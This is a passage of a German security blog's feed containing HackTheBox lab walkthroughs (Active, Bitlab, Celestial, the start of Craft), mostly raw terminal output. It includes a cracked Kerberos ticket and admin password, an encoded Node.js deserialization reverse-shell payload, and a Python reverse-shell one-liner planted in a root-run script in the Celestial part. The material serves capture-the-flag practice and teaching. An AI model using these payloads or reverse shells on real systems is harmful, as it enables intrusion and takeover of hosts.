GST_ELEM=4 -D KERN_TYPE=13100 -D _unroll&rsquo;<br>
Dictionary cache hit:</li>
<li>Filename..: /usr/share/wordlists/rockyou.txt</li>
<li>Passwords.: 14344385</li>
<li>Bytes…..: 139921507</li>
<li>Keyspace..: 14344385</li>
</ul>
<p>$krb5tgs$23$<em>Administrator$ACTIVE.HTB$active/CIFS~445</em>$10589d87c1a98b404545a09ac0edbec8$9470373fe8ddd05e0cb35e6307ce19f2b782e291b568af5f62b6096dfb46dee03cd8add92816c256b21fc8c475acdf49e825e2f32a361bd4b94b9d56eb7<br>
de54b8a728752c6f7e50ceb6024d388b4ba99ba4a02dd3975355f49f9184f1e6b7606f5554d5e45d28693a5aef90f0591d36567d0e8c641e16e7c8d05047b2d9d2040e5be0a37abcb7e0e106f0a98f5861f000506daef442270dba05d0a0b593a86cd2cfb231ed9a623<br>
da2ec87bfd185a90c79baf2d05b9f6a0edd79c9a25a2087f22211dc99749099ac091fceab6647e6da19164dba1bd174df0bb0e3f82ba790f840b7b0d19fbc8d4e21077b9f7dc45cfc9e54ce9b788293c6d222504fdc995923ad940bdfc80da606708f0485b448a9e689<br>
d165f07b1d5da0f249c5db85d98d54be7d3a985808cfee3bbeb3f875eb33e6b818ed5d2f699960280092ebf9506d0510bb3f23fd1d94ce0ee3cbd3066240ddeda67986a5b70334baea5dbd88743fb3ef843ea170ecd38469a5fa1dc957566579ea25ec3c81f0e8dbaa6<br>
8e0c203409ebedd098cc928cab4632c401d7c5a64cc997ed3ec6e87b37b44d5dc349c25edf41623df54cde4cc356fe1023ac62684a9278bf0756d46634eb1a0379d614dd78488293b8e7a7e770ac078afdc6b60f0edd4c336557a6791c398126c61c9e546894e29d5d7<br>
ae3111e13fbdd4c7b68be0d7e71520d3f7f1ec6826fe24683a7c9c32a16c28221ebd8b4fe61a189cfce3d2115d9840aa9e3d77a46077d05a6cca034a81117f1240fc21c9ccaba16c5bed6815a8338b75dc293b193f45b8354e0f5aa2acad7c1606bd5d30651e9661663<br>
211b1e11c07073c9d932e157073fd8940055a1fb2c03260af72a521c9f633412b3d1bf9e9e21b755a92d812a1e6061dff7c0564286a0c897e6be885a8fdb8b48c6314ed2d118d504675b9935f65eafecd69f57894fdee85a32950f9ef8f21c5f6010019837d1fa1cd68<br>
8161cf02a9e6eb47041a83258353fb2fdd434a20de6362cb17f42b44b53f4f7b6ecd83d1b4c23698562a1ebe5b306bc6154aaaf3668738fb72078e90ad4ce5c72cd6f92df6d6747d6fcd7d23b9616a9fdbdd4312a25960102dc9b6985128e77fc7b6227bf27248efe90<br>
f6637e0b98bb4a72e6e452b80931649dec99bf2e8fa3c418889a6d83576110f1ad655f3e67c798b724e7b8ae1512b32ab4dbb5e46f1fd278124ba952467ec27014f0ea8e88346db8949b6c606fc9d7081ad03b85d7fa15b96a60:Ticketmaster1968</p>
<p>Session……….: hashcat<br>
Status………..: Cracked<br>
Hash.Type……..: Kerberos 5 TGS-REP etype 23<br>
Hash.Target……: $krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~4…b96a60<br>
Time.Started…..: Fri Dec 7 10:25:31 2018 (13 secs)<br>
Time.Estimated…: Fri Dec 7 10:25:44 2018 (0 secs)<br>
Guess.Base…….: File (/usr/share/wordlists/rockyou.txt)<br>
Guess.Queue……: 1/1 (100.00%)<br>
Speed.#1………: 780.3 kH/s (10.58ms) @ Accel:64 Loops:1 Thr:64 Vec:8<br>
Recovered……..: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts<br>
Progress………: 10551296/14344385 (73.56%)<br>
Rejected………: 0/10551296 (0.00%)<br>
Restore.Point….: 10534912/14344385 (73.44%)<br>
Restore.Sub.#1…: Salt:0 Amplifier:0-1 Iteration:0-1<br>
Candidates.#1….: Tioncurtis23 -&gt; TUGGIE</p>
<p>Started: Fri Dec 7 10:25:30 2018<br>
Stopped: Fri Dec 7 10:25:45 2018<br>
root@kali:~/active# python smbclient.py Administrator:Ticketmaster1968@10.10.10.100<br>
Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation</p>
<p>Type help for list of commands</p>
<h1 id="use-users-1">use Users</h1>
<h1 id="ls-10">ls</h1>
<p>drw-rw-rw- 0 Sat Jul 21 16:39:20 2018 .<br>
drw-rw-rw- 0 Sat Jul 21 16:39:20 2018 ..<br>
drw-rw-rw- 0 Mon Jul 16 12:14:21 2018 Administrator<br>
drw-rw-rw- 0 Mon Jul 16 23:08:56 2018 All Users<br>
drw-rw-rw- 0 Mon Jul 16 23:08:47 2018 Default<br>
drw-rw-rw- 0 Mon Jul 16 23:08:56 2018 Default User<br>
-rw-rw-rw- 174 Mon Jul 16 23:01:17 2018 desktop.ini<br>
drw-rw-rw- 0 Mon Jul 16 23:08:47 2018 Public<br>
drw-rw-rw- 0 Sat Jul 21 17:16:32 2018 SVC_TGS</p>
<h1 id="cd-administrator">cd Administrator</h1>
<h1 id="ls-11">ls</h1>
<p>drw-rw-rw- 0 Mon Jul 16 12:14:21 2018 .<br>
drw-rw-rw- 0 Mon Jul 16 12:14:21 2018 ..<br>
drw-rw-rw- 0 Mon Jul 16 12:14:15 2018 AppData<br>
drw-rw-rw- 0 Mon Jul 16 12:14:15 2018 Application Data<br>
drw-rw-rw- 0 Mon Jul 30 15:50:10 2018 Contacts<br>
drw-rw-rw- 0 Mon Jul 16 12:14:15 2018 Cookies<br>
drw-rw-rw- 0 Mon Jul 30 15:50:10 2018 Desktop<br>
drw-rw-rw- 0 Mon Jul 30 15:50:10 2018 Documents<br>
drw-rw-rw- 0 Mon Jul 30 15:50:27 2018 Downloads<br>
drw-rw-rw- 0 Mon Jul 30 15:50:10 2018 Favorites<br>
drw-rw-rw- 0 Mon Jul 30 15:50:10 2018 Links<br>
drw-rw-rw- 0 Mon Jul 16 12:14:15 2018 Local Settings<br>
drw-rw-rw- 0 Mon Jul 30 15:50:10 2018 Music<br>
drw-rw-rw- 0 Mon Jul 16 12:14:15 2018 My Documents<br>
drw-rw-rw- 0 Mon Jul 16 12:14:15 2018 NetHood<br>
-rw-rw-rw- 524288 Mon Jul 30 19:21:29 2018 NTUSER.DAT<br>
-rw-rw-rw- 262144 Mon Jul 30 19:21:29 2018 ntuser.dat.LOG1<br>
-rw-rw-rw- 0 Mon Jul 16 12:14:09 2018 ntuser.dat.LOG2<br>
-rw-rw-rw- 65536 Mon Jul 16 12:14:15 2018 NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf<br>
-rw-rw-rw- 524288 Mon Jul 16 12:14:15 2018 NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms<br>
-rw-rw-rw- 524288 Mon Jul 16 12:14:15 2018 NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms<br>
-rw-rw-rw- 20 Mon Jul 30 08:26:35 2018 ntuser.ini<br>
drw-rw-rw- 0 Mon Jul 30 15:50:10 2018 Pictures<br>
drw-rw-rw- 0 Mon Jul 16 12:14:15 2018 PrintHood<br>
drw-rw-rw- 0 Mon Jul 16 12:14:15 2018 Recent<br>
drw-rw-rw- 0 Mon Jul 30 15:50:10 2018 Saved Games<br>
drw-rw-rw- 0 Mon Jul 30 15:50:10 2018 Searches<br>
drw-rw-rw- 0 Mon Jul 16 12:14:15 2018 SendTo<br>
drw-rw-rw- 0 Mon Jul 16 12:14:15 2018 Start Menu<br>
drw-rw-rw- 0 Mon Jul 16 12:14:15 2018 Templates<br>
drw-rw-rw- 0 Mon Jul 30 15:50:10 2018 Videos</p>
<h1 id="cd-desktop-1">cd Desktop</h1>
<h1 id="ls-12">ls</h1>
<p>drw-rw-rw- 0 Mon Jul 30 15:50:10 2018 .<br>
drw-rw-rw- 0 Mon Jul 30 15:50:10 2018 ..<br>
-rw-rw-rw- 282 Mon Jul 30 15:50:10 2018 desktop.ini<br>
-rw-rw-rw- 34 Sat Jul 21 17:06:06 2018 root.txt</p>
<h1 id="get-roottxt">get root.txt</h1>
<h1 id="exit-2">exit</h1>
<p>root@kali:~/active# cat root.txt<br>
b5f#########ZENSIERT#########08b</p>
]]></content></item><item><title>HackTheBox - Bitlab</title><link>https://m10x.de/posts/2010/01/hackthebox-bitlab/</link><pubDate>Fri, 01 Jan 2010 01:01:56 +0100</pubDate><guid>https://m10x.de/posts/2010/01/hackthebox-bitlab/</guid><description>root@kali:~# nmap -sV -sC 10.10.10.114 Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-14 14:15 CET Nmap scan report for 10.10.10.114 Host is up (0.019s latency). Not shown: 998 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 a2:3b:b0:dd:28:91:bf:e8:f9:30:82:31:23:2f:92:18 (RSA) | 256 e6:3b:fb:b3:7f:9a:35:a8:bd:d0:27:7b:25:d4:ed:dc (ECDSA) |_ 256 c9:54:3d:91:01:78:03&amp;#x1f18e;16:14:6b:cc:f0:b7:3a:55 (ED25519) 80/tcp open http nginx | http-robots.txt: 55 disallowed entries (15 shown) | / /autocomplete/users /search /api /admin /profile | /dashboard /projects/new /groups/new /groups//edit /users /help |_/s/ /snippets/new /snippets//edit | http-title: Sign in \xC2\xB7 GitLab |_Requested resource was http://10.</description><content type="html"><![CDATA[<p><a href="http://www.youtube.com/watch?v=YOUTUBE_VIDEO_ID_HERE"><img alt="Kurzes Video Walkthrough ohne Erklärungen" src="http://img.youtube.com/vi/YOUTUBE_VIDEO_ID_HERE/0.jpg"></a></p>
<p>root@kali:~# nmap -sV -sC 10.10.10.114
Starting Nmap 7.80 ( <a href="https://nmap.org">https://nmap.org</a> ) at 2020-01-14 14:15 CET
Nmap scan report for 10.10.10.114
Host is up (0.019s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a2:3b:b0:dd:28:91:bf:e8:f9:30:82:31:23:2f:92:18 (RSA)
| 256 e6:3b:fb:b3:7f:9a:35:a8:bd:d0:27:7b:25:d4:ed:dc (ECDSA)
|_ 256 c9:54:3d:91:01:78:03&#x1f18e;16:14:6b:cc:f0:b7:3a:55 (ED25519)
80/tcp open http nginx
| http-robots.txt: 55 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile
| /dashboard /projects/new /groups/new /groups/<em>/edit /users /help
|_/s/ /snippets/new /snippets/</em>/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.10.10.114/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</p>
<p>Service detection performed. Please report any incorrect results at <a href="https://nmap.org/submit/">https://nmap.org/submit/</a> .
Nmap done: 1 IP address (1 host up) scanned in 13.61 seconds
root@kali:<del># ssh <a href="mailto:clave@10.10.10.114">clave@10.10.10.114</a>
The authenticity of host &lsquo;10.10.10.114 (10.10.10.114)&rsquo; can&rsquo;t be established.
ECDSA key fingerprint is SHA256:hNHxoptKsWqkzdME7Bfb+cGjskcAAGySJazK+gDDCHQ.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added &lsquo;10.10.10.114&rsquo; (ECDSA) to the list of known hosts.
<a href="mailto:clave@10.10.10.114">clave@10.10.10.114</a>&rsquo;s password:
Last login: Tue Jan 14 12:14:39 2020 from 10.10.14.67
clave@bitlab:</del>$ cat user.txt
1e3#########ZENSIERT#########154
clave@bitlab:~$ clear</p>
<!-- raw HTML omitted -->
]]></content></item><item><title>HackTheBox - Celestial</title><link>https://m10x.de/posts/2010/01/hackthebox-celestial/</link><pubDate>Fri, 01 Jan 2010 01:01:56 +0100</pubDate><guid>https://m10x.de/posts/2010/01/hackthebox-celestial/</guid><description>root@kali:~# nmap -sV -sC 10.10.10.85
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-28 16:04 CEST
Nmap scan report for 10.10.10.85
Host is up (0.046s latency).
Not shown: 999 closed ports
PORT STATE SERVICE VERSION
3000/tcp open http Node.js Express framework
|_http-title: Site doesn&amp;rsquo;t have a title (text/html; charset=utf-8).
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.</description><content type="html"><![CDATA[<p><a href="http://www.youtube.com/watch?v=YOUTUBE_VIDEO_ID_HERE"><img alt="Kurzes Video Walkthrough ohne Erklärungen" src="http://img.youtube.com/vi/YOUTUBE_VIDEO_ID_HERE/0.jpg"></a></p>
<p>root@kali:~# nmap -sV -sC 10.10.10.85<br>
Starting Nmap 7.70 ( <a href="https://nmap.org">https://nmap.org</a> ) at 2018-08-28 16:04 CEST<br>
Nmap scan report for 10.10.10.85<br>
Host is up (0.046s latency).<br>
Not shown: 999 closed ports<br>
PORT STATE SERVICE VERSION<br>
3000/tcp open http Node.js Express framework<br>
|_http-title: Site doesn&rsquo;t have a title (text/html; charset=utf-8).</p>
<p>Service detection performed. Please report any incorrect results at <a href="https://nmap.org/submit/">https://nmap.org/submit/</a> .<br>
Nmap done: 1 IP address (1 host up) scanned in 26.92 seconds</p>
<p>bild1</p>
<p>Hey Dummy 2 + 2 is 22</p>
<p>bild2</p>
<p>Cookie: profile={&ldquo;username&rdquo;:&ldquo;Dummy&rdquo;,&ldquo;country&rdquo;:&ldquo;Idk Probably Somewhere Dumb&rdquo;,&ldquo;city&rdquo;:&ldquo;Lametown&rdquo;,&ldquo;num&rdquo;:&ldquo;2&rdquo;} Ã</p>
<p>Cookie: profile={&ldquo;username&rdquo;:&ldquo;Dummy&rdquo;,&ldquo;country&rdquo;:&ldquo;Idk Probably Somewhere Dumb&rdquo;,&ldquo;city&rdquo;:&ldquo;Lametown&rdquo;,&ldquo;num&rdquo;:&ldquo;0&rdquo;} Ã</p>
<p>encode</p>
<p>bild3</p>
<p><a href="https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/">https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/</a></p>
<p><a href="https://hd7exploit.wordpress.com/2017/05/29/exploiting-node-js-deserialization-bug-for-remote-code-execution-cve-2017-5941/">https://hd7exploit.wordpress.com/2017/05/29/exploiting-node-js-deserialization-bug-for-remote-code-execution-cve-2017-5941/</a></p>
<p><a href="https://github.com/hoainam1989/training-application-security/blob/master/shell/node_shell.py">https://github.com/hoainam1989/training-application-security/blob/master/shell/node_shell.py</a></p>
<p>root@kali:~# python node_shell.py</p>
<p>Usage: node_shell.py <!-- raw HTML omitted --> <!-- raw HTML omitted --> <!-- raw HTML omitted --> <!-- raw HTML omitted --><br>
Help:<br>
-c : Run some linux commands (ls,cat&hellip;)<br>
-r : Get payload reverse shell<br>
-b : Get payload bind shell<br>
-h : IP address in case of reverse shell<br>
-p : Port<br>
-e : Encode shell<br>
-o : Create a object contain payload with Immediately invoked function expression (IIFE)</p>
<p>root@kali:~# python node_shell.py -r -h 10.10.15.234 -p 1337 -e -o</p>
<p>=======&gt; Happy hacking &lt;======</p>
<p>{&ldquo;run&rdquo;: &ldquo;_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,32,32,32,32,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,32,32,32,32,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,32,32,32,32,72,79,83,84,61,34,49,48,46,49,48,46,49,53,46,50,51,52,34,59,10,32,32,32,32,80,79,82,84,61,34,49,51,51,55,34,59,10,32,32,32,32,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,32,32,32,32,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,32,32,32,32,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,10,32,32,32,32,99,40,72,79,83,84,44,80,79,82,84,41,59,10,32,32,32,32))}()&rdquo;}</p>
<p>root@kali:~#</p>
<p>bild4</p>
<p>encode</p>
<p>== zu %3d  url encode</p>
<p>root@kali:~# nc -lnvp 1337</p>
<p>root@kali:<del># nc -lnvp 1337<br>
listening on [any] 1337 &hellip;<br>
connect to [10.10.15.234] from (UNKNOWN) [10.10.10.85] 54070<br>
Connected!<br>
python -c &ldquo;import pty;pty.spawn(&rsquo;/bin/bash&rsquo;)&rdquo;<br>
sun@sun:</del>$</p>
<p>sun@sun:~$ ls -alh<br>
ls -alh<br>
total 156K<br>
drwxr-xr-x 21 sun sun 4.0K Aug 28 06:45 .<br>
drwxr-xr-x 3 root root 4.0K Sep 19 2017 ..<br>
-rw&mdash;&mdash;- 1 sun sun 1 Mar 4 15:24 .bash_history<br>
-rw-r&ndash;r&ndash; 1 sun sun 220 Sep 19 2017 .bash_logout<br>
-rw-r&ndash;r&ndash; 1 sun sun 3.7K Sep 19 2017 .bashrc<br>
drwx&mdash;&mdash; 13 sun sun 4.0K Nov 8 2017 .cache<br>
drwx&mdash;&mdash; 16 sun sun 4.0K Sep 20 2017 .config<br>
drwx&mdash;&mdash; 3 root root 4.0K Sep 21 2017 .dbus<br>
drwxr-xr-x 2 sun sun 4.0K Sep 19 2017 Desktop<br>
-rw-r&ndash;r&ndash; 1 sun sun 25 Sep 19 2017 .dmrc<br>
drwxr-xr-x 2 sun sun 4.0K Aug 28 09:28 Documents<br>
drwxr-xr-x 2 sun sun 4.0K Sep 19 2017 Downloads<br>
-rw-r&ndash;r&ndash; 1 sun sun 8.8K Sep 19 2017 examples.desktop<br>
drwx&mdash;&mdash; 2 sun sun 4.0K Sep 21 2017 .gconf<br>
drwx&mdash;&mdash; 3 sun sun 4.0K Aug 28 06:16 .gnupg<br>
drwx&mdash;&mdash; 2 root root 4.0K Sep 21 2017 .gvfs<br>
-rw&mdash;&mdash;- 1 sun sun 6.6K Aug 28 06:16 .ICEauthority<br>
drwx&mdash;&mdash; 3 sun sun 4.0K Sep 19 2017 .local<br>
drwx&mdash;&mdash; 4 sun sun 4.0K Sep 19 2017 .mozilla<br>
drwxr-xr-x 2 sun sun 4.0K Sep 19 2017 Music<br>
drwxrwxr-x 2 sun sun 4.0K Sep 19 2017 .nano<br>
drwxr-xr-x 47 root root 4.0K Sep 19 2017 node_modules<br>
-rw-rw-r&ndash; 1 sun sun 20 Sep 19 2017 .node_repl_history<br>
drwxrwxr-x 57 sun sun 4.0K Sep 19 2017 .npm<br>
-rw-r&ndash;r&ndash; 1 root root 21 Aug 28 10:00 output.txt<br>
drwxr-xr-x 2 sun sun 4.0K Sep 19 2017 Pictures<br>
-rw-r&ndash;r&ndash; 1 sun sun 655 Sep 19 2017 .profile<br>
drwxr-xr-x 2 sun sun 4.0K Sep 19 2017 Public<br>
-rw-rw-r&ndash; 1 sun sun 66 Sep 20 2017 .selected_editor<br>
-rw-rw-r&ndash; 1 sun sun 870 Sep 20 2017 server.js<br>
-rw-rw-r&ndash; 1 sun sun 610 Aug 28 06:45 shell1.js<br>
-rw-r&ndash;r&ndash; 1 sun sun 0 Sep 19 2017 .sudo_as_admin_successful<br>
drwxr-xr-x 2 sun sun 4.0K Sep 19 2017 Templates<br>
drwxr-xr-x 2 sun sun 4.0K Sep 19 2017 Videos<br>
-rw&mdash;&mdash;- 1 sun sun 48 Aug 28 06:16 .Xauthority<br>
-rw&mdash;&mdash;- 1 sun sun 82 Aug 28 06:16 .xsession-errors<br>
-rw&mdash;&mdash;- 1 sun sun 1.3K Mar 7 08:33 .xsession-errors.old</p>
<p>sun@sun:~$ cat output.txt<br>
cat output.txt<br>
Script is running&hellip;</p>
<p>sun@sun:<del>$ cd Documents<br>
cd Documents<br>
sun@sun:</del>/Documents$ ls -alh<br>
ls -alh<br>
total 16K<br>
drwxr-xr-x 2 sun sun 4.0K Aug 28 09:28 .<br>
drwxr-xr-x 21 sun sun 4.0K Aug 28 06:45 ..<br>
-rw-rw-r&ndash; 1 sun sun 29 Sep 21 2017 script.py<br>
-rw-rw-r&ndash; 1 sun sun 33 Sep 21 2017 user.txt<br>
sun@sun:<del>/Documents$ cat user.txt<br>
cat user.txt<br>
9a0##########################b0f<br>
sun@sun:</del>/Documents$ cat script.py<br>
cat script.py<br>
print &ldquo;Script is running&hellip;&rdquo;</p>
<p>sun@sun:<del>/Documents$ echo &lsquo;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&ldquo;10.10.15.234&rdquo;,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&quot;/bin/sh&quot;,&quot;-i&quot;]);&rsquo; &gt; script.py<br>
bprocess.call([&quot;/bin/sh&quot;,&quot;-i&quot;]);&rsquo; &gt; script.pycket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&ldquo;10.10.15.234&rdquo;,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=su<br>
sun@sun:</del>/Documents$</p>
<p>root@kali:~# nc -lnvp 1234<br>
listening on [any] 1234 &hellip;<br>
connect to [10.10.15.234] from (UNKNOWN) [10.10.10.85] 59534<br>
/bin/sh: 0: can&rsquo;t access tty; job control turned off</p>
<h1 id="id">id</h1>
<p>uid=0(root) gid=0(root) groups=0(root)</p>
<h1 id="cat-rootroottxt">cat /root/root.txt</h1>
<p>ba1##########################95a</p>
]]></content></item><item><title>HackTheBox - Craft</title><link>https://m10x.de/posts/2010/01/hackthebox-craft/</link><pubDate>Fri, 01 Jan 2010 01:01:56 +0100</pubDate><guid>https://m10x.de/posts/2010/01/hackthebox-craft/</guid><description>HackTheBox - Craft WriteUp | Tipps + Anleitung | htb Craft ist eine der mittelschweren Maschinen von HackTheBox. Ihre Eigenschaften wurden von Benutzern auf Enumeration, Real-Life und Custom Exploitation festgelegt.
Tipps [su_spoiler title=&amp;ldquo;Tipp 1&amp;rdquo; open=&amp;ldquo;no&amp;rdquo; style=&amp;ldquo;modern-light&amp;rdquo; icon=&amp;ldquo;plus&amp;rdquo; anchor=&amp;quot;&amp;quot; class=&amp;quot;&amp;quot;]
[/su_spoiler]
[su_spoiler title=&amp;ldquo;Tipp 2&amp;rdquo; open=&amp;ldquo;no&amp;rdquo; style=&amp;ldquo;modern-light&amp;rdquo; icon=&amp;ldquo;plus&amp;rdquo; anchor=&amp;quot;&amp;quot; class=&amp;quot;&amp;quot;]
[/su_spoiler]
[su_spoiler title=&amp;ldquo;Tipp 3&amp;rdquo; open=&amp;ldquo;no&amp;rdquo; style=&amp;ldquo;modern-light&amp;rdquo; icon=&amp;ldquo;plus&amp;rdquo; anchor=&amp;quot;&amp;quot; class=&amp;quot;&amp;quot;]
[/su_spoiler]
Video [su_spoiler title=&amp;ldquo;Kurzes Video Walkthrough ohne Erklärungen&amp;rdquo; open=&amp;ldquo;no&amp;rdquo; style=&amp;ldquo;modern-light&amp;rdquo; icon=&amp;ldquo;plus&amp;rdquo; anchor=&amp;quot;&amp;quot; class=&amp;quot;&amp;quot;]</description><content type="html"><![CDATA[<p><a href="http://www.youtube.com/watch?v=YOUTUBE_VIDEO_ID_HERE"><img alt="Kurzes Video Walkthrough ohne Erklärungen" src="http://img.youtube.com/vi/YOUTUBE_VIDEO_ID_HERE/0.jpg"></a></p>
<h1 id="hackthebox---craft-writeup--tipps--anleitung--htb">HackTheBox - Craft WriteUp | Tipps + Anleitung | htb</h1>
<p><a href="https://www.hackthebox.eu/home/machines/profile/101">Craft</a> ist eine der mittelschweren Maschinen von <a href="https://hackthebox.eu/">HackTheBox</a>. Ihre Eigenschaften wurden von Benutzern auf Enumeration, Real-Life und Custom Exploitation festgelegt.</p>
<p><img src="https://imgur.com/FMoIkDG,jpg"><img alt="schwierigkeitsgrad" src="https://i.imgur.com/iP9UKOM.jpg"></p>
<h2 id="tipps"><strong>Tipps</strong></h2>
<p>[su_spoiler title=&ldquo;Tipp 1&rdquo; open=&ldquo;no&rdquo; style=&ldquo;modern-light&rdquo; icon=&ldquo;plus&rdquo; anchor=&quot;&quot; class=&quot;&quot;]</p>
<p>[/su_spoiler]</p>
<p>[su_spoiler title=&ldquo;Tipp 2&rdquo; open=&ldquo;no&rdquo; style=&ldquo;modern-light&rdquo; icon=&ldquo;plus&rdquo; anchor=&quot;&quot; class=&quot;&quot;]</p>
<p>[/su_spoiler]</p>
<p>[su_spoiler title=&ldquo;Tipp 3&rdquo; open=&ldquo;no&rdquo; style=&ldquo;modern-light&rdquo; icon=&ldquo;plus&rdquo; anchor=&quot;&quot; class=&quot;&quot;]</p>
<p>[/su_spoiler]</p>
<h2 id="video"><strong>Video</strong></h2>
<p>[su_spoiler title=&ldquo;Kurzes Video Walkthrough ohne Erklärungen&rdquo; open=&ldquo;no&rdquo; style=&ldquo;modern-light&rdquo; icon=&ldquo;plus&rdquo; anchor=&quot;&quot; class=&quot;&quot;]</p>
<!-- raw HTML omitted -->
<p>[/su_spoiler]</p>
<h2 id="anleitung"><strong>Anleitung</strong></h2>
<p>[su_accordion]</p>
<p>[su_spoiler title=&ldquo;Schritt 1&rdquo; open=&ldquo;no&rdquo; style=&ldquo;modern-light&rdquo; icon=&ldquo;plus&rdquo; anchor=&quot;&quot; class=&quot;&quot;]</p>
<p>Als erstes machen wir natürlich einen Nmap-Scan.</p>
<!-- raw HTML omitted -->
<!-- raw HTML omitted -->
<p>2 offene Webserver Ports wurden gefunden.</p>
<p>[/su_spoiler]</p>
<p>[/su_accordion]</p>
<p>root@kali:~# nmap -sV 10.10.10.110<br>
Starting Nmap 7.80 ( <a href="https://nmap.org">https://nmap.org</a> ) at 2020-01-06 23:28 CET<br>
Nmap scan report for 10.10.10.110<br>
Host is up (0.026s latency).<br>
Not shown: 998 closed ports<br>
PORT STATE SERVICE VERSION<br>
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0)<br>
443/tcp open ssl/http nginx 1.15.8<br>
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</p>
<p>Service detection performed. Please report any incorrect results at <a href="https://nmap.org/submit/">https://nmap.org/submit/</a> .<br>
Nmap done: 1 IP address (1 host up) scanned in 14.07 seconds<br>
root@kali:<del># vim /etc/hosts<br>
root@kali:</del># vim test.py</p>
<p>root@kali:~# python test.py<br>
/usr/local/lib/python2.7/dist-packages/requests/packages/urllib3/connectionpool.py:789: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: h<br>
ttps://urllib3.readthedocs.org/en/latest/security.html<br>
InsecureRequestWarning)<br>
/usr/local/lib/python2.7/dist-packages/requests/packages/urllib3/connectionpool.py:789: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: h<br>
ttps://urllib3.readthedocs.org/en/latest/security.html<br>
InsecureRequestWarning)<br>
{&ldquo;message&rdquo;:&ldquo;Token is valid!&rdquo;}</p>
<p>Create bogus ABV brew<br>
